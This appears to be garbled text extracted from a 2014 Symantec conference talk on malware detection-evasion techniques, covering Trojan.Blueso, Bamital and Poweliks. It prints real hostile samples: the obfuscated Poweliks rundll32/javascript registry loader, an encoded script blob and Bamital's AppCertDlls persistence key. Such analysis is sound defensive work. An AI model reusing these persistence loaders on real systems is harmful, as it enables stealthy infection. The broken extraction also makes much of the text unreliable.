code blue 2014 : マルウエアによる検出回避方法の解説 by 篠塚大志 hiroshi...

Copyright © 2014 Symantec Corpora6on 2

• 

•  •  • 


24 365

1

2

3

4


Trojan.Blueso


0

5,000

10,000

15,000

20,000

25,000

30,000

35,000

Trojan.Blueso

Trojan.Blueso


RAR MB

AutoIt

AutoIt Windows BASICWindows GUI

RARAutoIt

Inject Backdoor.Trojan


Windows

Internet Explorer

AutoIt


//

1

2

3

4



malicious

• • 


Windows

AutoIt


AutoIt

• 

• 

• malicious

• 


1

2

3

4



TAB


AutoIt 87486

900 1


• 

• 

ZIP

Jpeg

( )


1

2

3

4


Blueso


Windows

Internet Explorer

!!??

AutoIt


1)  Internet Explorer -‐> malicious

2)  -‐> AutoIT

3)  AutoIt -‐> NtSetInforma6onProcess API AutoIT

Windows (essen6al)

AutoIt Windows

-‐>

1

2

3

4


Bamital


HKEY_LOCAL_MACHINE\system\CurrentControlSet\Control\Session Manager\AppCertDlls\"AppSecDll" = "%USER_Profile%\Local Sefngs\Applica6on Data\Windows Server\xblscp.dll“

xblscp.dll malicious

malicious

Bamital(2)


• • • 

Poweliks


Trojan.Poweliks Windows Powershell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{73E709EA-‐5D93-‐4B2E-‐BBB0-‐99B7938DA9E4}\LocalServer32\(Default) =

rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplica6on \";eval(\"epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SuSve)(ILDS]]dmtje]]|84f81:v.6e:4.5c3f.ccc1.::c8:49eb:f5~]]mpdbmzswfs43]]b(*,(=0tdsjqu?(*\".replace(/./g,func6on(_){return%20String.fromCharCode(_.charCodeAt()-‐1);}))

"a"="#@~^k4QAAA==n{F+2i@#@&l{x APzmOk7+p6(L+1O`r ?1.rwDRUtnVsE*i@#@


• 

•  • 

• 

& Q A


Thank you!

Copyright © 2014 Symantec CorporaMon. All rights reserved. Symantec and the Symantec Logo are trademarks or registered trademarks of Symantec Corpora6on or its affiliates in the U.S. and other countries. Other names may be trademarks of their respec6ve owners.

This document is provided for informa6onal purposes only and is not intended as adver6sing. All warran6es rela6ng to the informa6on in this document, either express or implied, are disclaimed to the maximum extent allowed by law. The informa6on in this document is subject to change without no6ce.

code blue 2014 : マルウエアによる検出回避方法の解説 by 篠塚 大志 hiroshi...

Technology

code blue 2014 : マルウエアによる検出回避方法の解説 by 篠塚大志 hiroshi...